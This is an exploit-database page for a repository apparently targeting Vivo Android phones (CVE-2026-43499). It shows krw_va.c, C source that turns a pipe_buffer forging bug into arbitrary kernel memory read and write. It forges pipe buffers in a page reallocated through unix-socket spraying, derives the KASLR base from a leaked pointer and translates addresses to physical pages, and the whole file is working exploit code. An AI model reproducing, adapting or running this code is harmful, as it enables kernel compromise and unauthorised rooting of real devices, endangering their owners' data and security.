Exploit databaseDownload repository ZIP
GH-594a156883cbf863201dae6cf96323f3
zenyxx-xd/rootmyvivo-exploit
Sources for CVE-2026-43499
168 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files66
zenyxx-xd/rootmyvivo-exploitRevision 201ffc023401
- ↑..Parent directory
- build/
- build_64560/
- tools/
- RESUME.md
- Z9T-PORT-PLAN.md
- afunix.cc
- build_64560.bat
- build_afunix.bat
- build_z9t.bat
- campaign.log
- krw.h
- krw_va.c
- overnight.log
- root_afunix.c
- run1.log
- run10.log
- run11.log
- run12.log
- run13.log
- run14.log
- run15.log
- run16.log
- run17.log
- run18.log
- run19.log
- run2.log
- run20.log
- run21.log
- run22.log
- run23.log
- run24.log
- run25.log
- run26.log
- run27.log
- run28.log
- run29.log
- run3.log
- run30.log
- run31.log
- run32.log
- run33.log
- run34.log
- run35.log
- run36.log
- run37.log
- run38.log
- run39.log
- run3_diag.txt
- run4.log
- run40.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
afunix/krw_va.c
C · 10,809 bytes/*
* krw_va.c — kernel-VA read/write on top of the CVE-2026-53361
* pipe_buffer forging primitive.
*
* The exploit leaves us with:
* - krw_pipe, whose ->bufs is physically the same page as an skb
* fragment of a spray unix socket (spray_sv);
* - leaked_page: a valid `struct page *` (vmemmap) and
* leaked_ops: `anon_pipe_buf_ops` runtime VA, taken from a genuine
* pipe_buffer written into that page.
*
* Each operation re-forges the whole 16 KiB page with identical fake
* pipe_buffers: read(spray_sv[0], 16K) frees the fragment (= krw_pipe->bufs
* page), write(spray_sv[1], 16K) reallocates it with our content (buddy
* LIFO). Then read()/write() on krw_pipe consumes the forged buffer:
* - read: forge len = chunk + 1 and read chunk bytes, so the buffer is
* never fully consumed and pipe_buf_release/put_page never runs on
* the forged page;
* - write: forge len = 0 with PIPE_BUF_FLAG_CAN_MERGE; the write merges
* into the forged page at the forged offset (dirty-pipe style).
*
* VA translation:
* - image VA (post-KASLR): phys = P0_KERNEL_PHYS_LOAD + (va - kaslr_base)
* (the arm64 image occupies a contiguous physical region including
* .data/.bss; the same mapping the GhostLock fork's data_addr() used
* successfully on this platform);
* - direct-map VA: phys = P0_PHYS_OFFSET + (va - P0_PAGE_OFFSET).
* kaslr_base comes from leaked_ops - ANON_PIPE_BUF_OPS_OFF and the whole
* mapping is cross-checked against the linux_banner before first use.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "krw.h"
#include "target.h"
uint64_t g_kaslr_base;
uint64_t g_leaked_page;
uint64_t g_leaked_ops;
int g_krw_ready;
uint64_t g_krw_reads, g_krw_writes, g_krw_cycles_failed;
static struct {
int sv_rd, sv_wr; /* spray socket read/write ends */
int pipe_rd, pipe_wr; /* krw pipe ends */
unsigned char forged[AFUNIX_ORDER2];
unsigned char readback[AFUNIX_ORDER2];
} K;
/* ── page math ─────────────────────────────────────────────────────── */
static uint64_t page_of_phys(uint64_t phys) {
return VMEMMAP_START + (phys >> 12) * STRUCT_PAGE_SIZE;
}
static int va_to_phys(uint64_t va, uint64_t *phys_out) {
if (va >= g_kaslr_base && va < g_kaslr_base + VR_KERNEL_IMAGE_MAX) {
*phys_out = P0_KERNEL_PHYS_LOAD + (va - g_kaslr_base);
return 1;
}
if (va >= DIRECT_MAP_BASE && va < DIRECT_MAP_END) {
*phys_out = P0_PHYS_OFFSET + (va - DIRECT_MAP_BASE);
return 1;
}
return 0;
}
uint64_t krw_img(uint64_t image_off) {
return g_kaslr_base + image_off;
}
int krw_is_direct(uint64_t va) {
return va >= DIRECT_MAP_BASE && va < DIRECT_MAP_END;
}
int krw_is_image(uint64_t va) {
return va >= g_kaslr_base && va < g_kaslr_base + VR_KERNEL_IMAGE_MAX;
}
/* ── forging ───────────────────────────────────────────────────────── */
static void build_forged(uint64_t page, uint32_t off, uint32_t len) {
memset(K.forged, 0, sizeof(K.forged));
size_t n = sizeof(K.forged) / PIPE_BUFFER_SIZE;
for (size_t s = 0; s < n; s++) {
unsigned char *b = K.forged + s * PIPE_BUFFER_SIZE;
*(uint64_t *)(b + PIPE_BUFFER_OFF_PAGE) = page;
*(uint32_t *)(b + PIPE_BUFFER_OFF_OFFSET) = off;
*(uint32_t *)(b + PIPE_BUFFER_OFF_LEN) = len;
*(uint64_t *)(b + PIPE_BUFFER_OFF_OPS) = g_leaked_ops;
*(uint32_t *)(b + PIPE_BUFFER_OFF_FLAGS) = PIPE_BUF_FLAG_CAN_MERGE;
}
}
/* Free the current fragment (== krw_pipe->bufs page) and immediately
* reallocate it with the forged pipe_buffers. */
static int sock_cycle(void) {
ssize_t r = read(K.sv_rd, K.readback, sizeof(K.readback));
if (r != (ssize_t)sizeof(K.readback)) {
fprintf(stderr, "[KRW] socket drain short: %zd (%s)\n", r, strerror(errno));
g_krw_cycles_failed++;
return 0;
}
ssize_t w = write(K.sv_wr, K.forged, sizeof(K.forged));
if (w != (ssize_t)sizeof(K.forged)) {
fprintf(stderr, "[KRW] socket refill short: %zd (%s)\n", w, strerror(errno));
g_krw_cycles_failed++;
return 0;
}
return 1;
}
/* One in-page read. phys must satisfy (phys & 0xfff) + len <= 4096. */
static int read_phys(uint64_t phys, void *out, size_t len) {
build_forged(page_of_phys(phys & ~0xfffULL),
(uint32_t)(phys & 0xfff), (uint32_t)len + 1);
if (!sock_cycle()) return 0;
ssize_t r = read(K.pipe_rd, out, len);
if (r != (ssize_t)len) {
fprintf(stderr, "[KRW] pipe read got %zd want %zu\n", r, len);
g_krw_cycles_failed++;
return 0;
}
g_krw_reads++;
return 1;
}
/* One in-page write. phys must satisfy (phys & 0xfff) + len <= 4096 and
* len < 4096 (the pipe merge path only handles the non-page-multiple
* remainder of a write). */
static int write_phys(uint64_t phys, const void *in, size_t len) {
build_forged(page_of_phys(phys & ~0xfffULL),
(uint32_t)(phys & 0xfff), 0);
if (!sock_cycle()) return 0;
ssize_t w = write(K.pipe_wr, in, len);
if (w != (ssize_t)len) {
fprintf(stderr, "[KRW] pipe write got %zd want %zu\n", w, len);
g_krw_cycles_failed++;
return 0;
}
g_krw_writes++;
return 1;
}
/* ── public VA primitives ──────────────────────────────────────────── */
int krw_read_data(uintptr_t va, void *out, size_t len) {
if (!g_krw_ready) return 0;
while (len) {
uint64_t phys;
if (!va_to_phys(va, &phys)) {
fprintf(stderr, "[KRW] read of unsupported VA %016llx\n",
(unsigned long long)va);
return 0;
}
uint32_t off = (uint32_t)(phys & 0xfff);
size_t chunk = AFUNIX_PAGE_SIZE - off;
if (chunk > len) chunk = len;
if (!read_phys(phys, out, chunk)) return 0;
va += chunk;
out = (char *)out + chunk;
len -= chunk;
}
return 1;
}
int krw_write_data(uintptr_t va, const void *in, size_t len) {
if (!g_krw_ready) return 0;
while (len) {
uint64_t phys;
if (!va_to_phys(va, &phys)) {
fprintf(stderr, "[KRW] write of unsupported VA %016llx\n",
(unsigned long long)va);
return 0;
}
uint32_t off = (uint32_t)(phys & 0xfff);
size_t chunk = AFUNIX_PAGE_SIZE - off;
if (chunk > len) chunk = len;
if (chunk == AFUNIX_PAGE_SIZE) chunk--; /* merge path needs < 4096 */
if (!write_phys(phys, in, chunk)) return 0;
va += chunk;
in = (const char *)in + chunk;
len -= chunk;
}
return 1;
}
uint64_t krw_read64(uintptr_t va) {
uint64_t v = 0;
return krw_read_data(va, &v, sizeof(v)) ? v : 0;
}
uint32_t krw_read32(uintptr_t va) {
uint32_t v = 0;
return krw_read_data(va, &v, sizeof(v)) ? v : 0;
}
int krw_write64(uintptr_t va, uint64_t v) {
return krw_write_data(va, &v, sizeof(v));
}
int krw_write32(uintptr_t va, uint32_t v) {
return krw_write_data(va, &v, sizeof(v));
}
/* ── bootstrap ─────────────────────────────────────────────────────── */
int krw_init(uint64_t leaked_page, uint64_t leaked_ops,
int spray_sv_read, int spray_sv_write,
int krw_pipe_read, int krw_pipe_write) {
g_krw_ready = 0;
g_kaslr_base = 0;
g_krw_reads = g_krw_writes = g_krw_cycles_failed = 0;
if ((leaked_ops >> 48) != 0xffff || (leaked_page >> 48) != 0xffff) {
fprintf(stderr, "[KRW] non-canonical leak ops=%016llx page=%016llx\n",
(unsigned long long)leaked_ops, (unsigned long long)leaked_page);
return 0;
}
g_kaslr_base = leaked_ops - ANON_PIPE_BUF_OPS_OFF;
if ((g_kaslr_base & 0x1fffffULL) != 0) { /* image base is 2 MiB-aligned */
fprintf(stderr, "[KRW] kaslr_base misaligned: %016llx\n",
(unsigned long long)g_kaslr_base);
return 0;
}
if ((g_kaslr_base >> 40) != (KIMAGE_TEXT_BASE >> 40)) {
fprintf(stderr, "[KRW] kaslr_base outside image region: %016llx\n",
(unsigned long long)g_kaslr_base);
return 0;
}
uint64_t vmem_off = leaked_page - VMEMMAP_START;
if (vmem_off % STRUCT_PAGE_SIZE != 0) {
fprintf(stderr, "[KRW] leaked page not vmemmap-aligned: %016llx\n",
(unsigned long long)leaked_page);
return 0;
}
uint64_t pfn = vmem_off / STRUCT_PAGE_SIZE;
if (pfn < 0x80000 || pfn >= 0x4000000) { /* >=0x80000000, < 64 GiB RAM */
fprintf(stderr, "[KRW] implausible pfn %llx (page=%016llx)\n",
(unsigned long long)pfn, (unsigned long long)leaked_page);
return 0;
}
K.sv_rd = spray_sv_read;
K.sv_wr = spray_sv_write;
K.pipe_rd = krw_pipe_read;
K.pipe_wr = krw_pipe_write;
g_leaked_page = leaked_page;
g_leaked_ops = leaked_ops;
/* Everything below needs the primitives: mark ready, and clear it if
* the cross-check fails. */
g_krw_ready = 1;
/* Cross-check 1: ARM64 boot image magic at the physical load address. */
char magic[4] = {0};
if (!krw_read_data(krw_img(0x38), magic, sizeof(magic)) ||
memcmp(magic, "ARM\x64", 4) != 0) {
fprintf(stderr, "[KRW] image magic mismatch at phys load %llx: "
"%02x %02x %02x %02x\n",
(unsigned long long)P0_KERNEL_PHYS_LOAD,
(unsigned char)magic[0], (unsigned char)magic[1],
(unsigned char)magic[2], (unsigned char)magic[3]);
g_krw_ready = 0;
return 0;
}
/* Cross-check 2: the linux_banner must sit exactly where the mapping
* says it does. */
char banner[48] = {0};
if (!krw_read_data(krw_img(LINUX_BANNER_OFF), banner, sizeof(banner) - 1) ||
memcmp(banner, TARGET_KERNEL_BANNER_PREFIX,
sizeof(TARGET_KERNEL_BANNER_PREFIX) - 1) != 0) {
fprintf(stderr, "[KRW] banner mismatch: %.47s\n", banner);
g_krw_ready = 0;
return 0;
}
printf("[KRW] kaslr_base=%016llx pfn_leaked=%llx phys_load=%llx\n",
(unsigned long long)g_kaslr_base, (unsigned long long)pfn,
(unsigned long long)P0_KERNEL_PHYS_LOAD);
printf("[KRW] banner ok: %.46s\n", banner);
fflush(stdout);
return 1;
}